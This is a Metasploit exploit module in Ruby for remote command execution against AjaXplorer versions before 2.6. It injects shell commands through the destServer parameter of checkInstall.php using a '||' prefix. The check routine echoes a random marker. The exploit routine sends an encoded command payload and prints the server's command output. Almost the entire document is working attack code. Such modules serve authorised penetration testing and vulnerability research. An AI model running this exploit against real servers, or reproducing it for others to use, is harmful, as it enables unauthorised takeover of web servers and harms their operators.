AjaXplorer checkInstall.php Remote Command Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'AjaXplorer checkInstall.php Remote Command Execution',  
'Description' => %q{  
This module exploits an arbitrary command execution vulnerability in the  
AjaXplorer 'checkInstall.php' script. All versions of AjaXplorer prior to  
2.6 are vulnerable.  
},  
'Author' =>  
[  
'Julien Cayssol', #Credited according to SecurityFocus  
'David Maciejak', #Metasploit module  
'sinn3r' #Final touch on the Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'OSVDB', '63552' ],  
[ 'BID', '39334' ]  
],  
'Privileged' => false,  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 512,  
'Compat' =>  
{  
'ConnectionType' => 'find',  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl ruby python bash telnet'  
}  
},  
'Platform' => ['unix', 'bsd', 'linux', 'osx', 'windows'],  
'Arch' => ARCH_CMD,  
'Targets' => [[ 'AjaXplorer 2.5.5 or older', { }]],  
'DisclosureDate' => 'Apr 4 2010',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to AjaXplorer', '/AjaXplorer-2.5.5/'])  
], self.class)  
end  
  
def check  
target_uri.path << '/' if target_uri.path[-1,1] != '/'  
clue = Rex::Text::rand_text_alpha(rand(5) + 5)  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => "#{target_uri.path}plugins/access.ssh/checkInstall.php",  
'vars_get' => {  
'destServer' => "||echo #{clue}"  
}  
})  
  
# If the server doesn't return the default redirection, probably something is wrong  
if res and res.code == 200 and res.body =~ /#{clue}/  
return Exploit::CheckCode::Vulnerable  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
peer = "#{rhost}:#{rport}"  
target_uri.path << '/' if target_uri.path[-1,1] != '/'  
  
# Trigger the command execution bug  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => "#{target_uri.path}plugins/access.ssh/checkInstall.php",  
'vars_get' =>  
{  
'destServer' => "||#{payload.encoded}"  
}  
})  
  
if res  
print_status("#{peer} - The server returned: #{res.code} #{res.message}")  
m = res.body.scan(/Received output:\s\[([^\]]+)\]/).flatten[0] || ''  
  
if m.empty?  
print_error("#{peer} - This server may not be vulnerable")  
else  
print_status("#{peer} - Command output from the server:")  
print_line(m)  
end  
end  
end  
  
end  
  
=begin  
Repo:  
http://sourceforge.net/projects/ajaxplorer/files/ajaxplorer/2.6/  
=end`